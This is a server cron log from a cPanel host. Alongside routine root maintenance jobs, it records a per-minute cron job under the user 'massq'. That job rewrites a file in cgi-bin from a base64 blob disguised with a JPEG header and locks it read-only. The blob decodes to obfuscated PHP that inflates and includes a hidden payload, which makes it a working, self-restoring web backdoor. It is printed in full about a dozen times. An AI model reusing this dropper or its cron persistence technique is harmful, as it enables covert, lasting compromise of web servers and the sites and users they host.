Sep  2 06:56:01 server CROND[12782]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:56:01 server CROND[12783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:57:01 server CROND[13158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:57:01 server CROND[13157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:57:01 server CROND[13159]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 06:57:01 server CROND[13160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:58:01 server CROND[13531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:58:01 server CROND[13532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:58:01 server CROND[13533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:59:01 server CROND[13895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:59:01 server CROND[13896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:59:01 server CROND[13897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:00:01 server CROND[14358]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 07:00:01 server CROND[14362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:00:01 server CROND[14364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:00:01 server CROND[14365]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  2 07:00:01 server CROND[14361]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:00:01 server CROND[14363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:00:01 server CROND[14366]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 07:00:01 server CROND[14368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:00:01 server CROND[14370]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 07:01:01 server CROND[15255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:01:01 server CROND[15256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:01:01 server CROND[15257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:01:01 server CROND[15258]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 07:01:01 server run-parts(/etc/cron.hourly)[15258]: starting 0anacron
Sep  2 07:01:01 server run-parts(/etc/cron.hourly)[15276]: finished 0anacron
Sep  2 07:02:01 server CROND[15643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:02:01 server CROND[15645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:02:01 server CROND[15644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:03:01 server CROND[16012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:03:01 server CROND[16013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:03:01 server CROND[16014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:04:01 server CROND[16386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:04:01 server CROND[16387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:04:01 server CROND[16388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:05:01 server CROND[16783]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 07:05:01 server CROND[16785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:05:01 server CROND[16787]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 07:05:01 server CROND[16791]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 07:05:01 server CROND[16789]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:05:01 server CROND[16788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:05:01 server CROND[16790]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 07:05:01 server CROND[16792]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 07:06:01 server CROND[17732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:06:01 server CROND[17733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:06:01 server CROND[17734]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:07:01 server CROND[18111]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 07:07:01 server CROND[18113]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:07:01 server CROND[18112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 07:08:01 server CROND[18485]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 07:08:01 server CROND[18486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
